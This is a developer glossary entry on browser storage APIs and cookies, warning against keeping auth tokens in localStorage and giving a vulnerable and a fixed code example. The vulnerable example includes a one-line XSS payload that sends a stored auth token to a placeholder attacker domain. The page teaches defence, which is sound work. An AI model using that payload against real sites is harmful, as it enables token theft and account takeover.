← Home ← Codex ← DEBT
Browse by Category
+ added · updated 7d
← Back to glossary

Web Storage, IndexedDB & Cookies

JavaScript HTML5 Intermediate
debt(d5/e3/b5/t7)
d5 Detectability Operational debt — how invisible misuse is to your safety net

Closest to 'specialist tool catches it' (d5). Semgrep and ESLint can detect common patterns like JWT tokens in localStorage, but require rule configuration; they won't catch all misuses (e.g., indirect sensitive data leakage, timing of QuotaExceededError handling) without additional context. Runtime testing is needed to catch edge cases.

e3 Effort Remediation debt — work required to fix once spotted

Closest to 'simple parameterised fix' (e3). The quick_fix shows straightforward guidance: swap localStorage/sessionStorage for IndexedDB when needed, or move to HttpOnly cookies for auth. Most fixes are single-component changes (e.g., replace localStorage.setItem with IndexedDB write, or switch cookie flag). No cross-cutting refactor required in typical cases.

b5 Burden Structural debt — long-term weight of choosing wrong

Closest to 'persistent productivity tax' (b5). Storage API choice affects all client-side data handling code; synchronous vs. asynchronous decisions (localStorage blocks; IndexedDB doesn't) ripple through async patterns. The choice to use httpOnly cookies constrains how auth is implemented across the app. However, it doesn't define the system's architecture — it's a local concern within the browser layer.

t7 Trap Cognitive debt — how counter-intuitive correct behaviour is

Closest to 'serious trap' (t7). The canonical misconception states 'localStorage is fine for auth tokens' — the obvious mental model (persistent storage = good for auth) is dangerously wrong. This contradicts server-side auth patterns where sensitive tokens are never exposed to the browser context. Developers often assume client-side storage is 'just like a server session' and get blindsided by XSS exposure. QuotaExceededError is also a documented gotcha.

About DEBT scoring →

Also Known As

localStorage sessionStorage IndexedDB cookies

TL;DR

Three client-side storage mechanisms: localStorage (persistent key-value), sessionStorage (tab-scoped), and IndexedDB (structured, queryable) — each suited to different data sizes and use cases.

Explanation

localStorage: synchronous, 5-10MB, persists across sessions, same origin. sessionStorage: same API, cleared when tab closes. IndexedDB: async, structured data, hundreds of MB, queryable with indexes — use for offline apps and large datasets. Cookies: sent with every HTTP request (session management, server-readable), max 4KB, path/domain scoping, HttpOnly/SameSite flags. Web Storage and IndexedDB are never sent to the server. Cookies with HttpOnly prevent JavaScript access (XSS mitigation). Never store sensitive data (tokens, PII) in localStorage — vulnerable to XSS.

Common Misconception

localStorage is fine for storing auth tokens — localStorage is accessible to any JavaScript on the page; XSS can exfiltrate tokens. Use HttpOnly cookies for auth tokens.

Why It Matters

Storing JWT tokens in localStorage is a common XSS vulnerability — a single injected script exfiltrates all tokens. HttpOnly cookies cannot be read by JavaScript, eliminating this attack vector.

Common Mistakes

  • Storing auth tokens in localStorage — XSS vulnerable; use HttpOnly cookies.
  • Synchronous localStorage in performance-critical loops — localStorage reads/writes are synchronous and block the main thread.
  • Not handling QuotaExceededError — localStorage throws when full; catch the error.
  • Sensitive data in sessionStorage — also readable by JavaScript; same XSS risk as localStorage.

Code Examples

✗ Vulnerable
// Auth token in localStorage — XSS can steal it:
localStorage.setItem('auth_token', response.token);

// Every fetch:
fetch('/api/data', {
    headers: { Authorization: 'Bearer ' + localStorage.getItem('auth_token') }
});
// Attacker XSS: fetch('https://evil.com/?t=' + localStorage.getItem('auth_token'))
✓ Fixed
// Auth token in HttpOnly cookie — JS cannot read it:
// Server sets on login:
Set-Cookie: auth_token=...; HttpOnly; Secure; SameSite=Strict; Path=/

// Browser sends automatically, JS cannot access:
fetch('/api/data', { credentials: 'include' }); // Cookie sent automatically
// Attacker XSS cannot read the cookie — HttpOnly blocks it

// localStorage for non-sensitive UI state only:
localStorage.setItem('theme', 'dark'); // Fine — not sensitive

Added 15 Mar 2026
Edited 22 Mar 2026
Views 59
Rate this term
No ratings yet
🤖 AI Guestbook educational data only
| |
Last 30 days
0 pings T 1 ping W 1 ping T 0 pings F 1 ping S 0 pings S 0 pings M 0 pings T 0 pings W 0 pings T 1 ping F 1 ping S 3 pings S 2 pings M 1 ping T 1 ping W 1 ping T 0 pings F 1 ping S 0 pings S 2 pings M 0 pings T 1 ping W 0 pings T 0 pings F 0 pings S 0 pings S 1 ping M 0 pings T 0 pings W
No pings yet today
No pings yesterday
Amazonbot 10 Scrapy 9 Google 6 Perplexity 4 Unknown AI 4 Ahrefs 4 ChatGPT 3 Majestic 2 Claude 2 SEMrush 2 Meta AI 1 PetalBot 1
crawler 44 crawler_json 3 pre-tracking 1
DEV INTEL Tools & Severity
🟠 High ⚙ Fix effort: Low
⚡ Quick Fix
Use sessionStorage for temporary per-tab data, localStorage for persistent preferences, IndexedDB for large structured data — never store tokens or sensitive data in any of these
📦 Applies To
javascript HTML5 web
🔗 Prerequisites
🔍 Detection Hints
JWT token or auth cookie stored in localStorage — XSS exposes it; sensitive PII stored client-side unencrypted
Auto-detectable: ✓ Yes semgrep eslint
⚠ Related Problems
🤖 AI Agent
Confidence: Medium False Positives: Medium ✗ Manual fix Fix: Medium Context: File
CWE-312 CWE-922


✓ schema.org compliant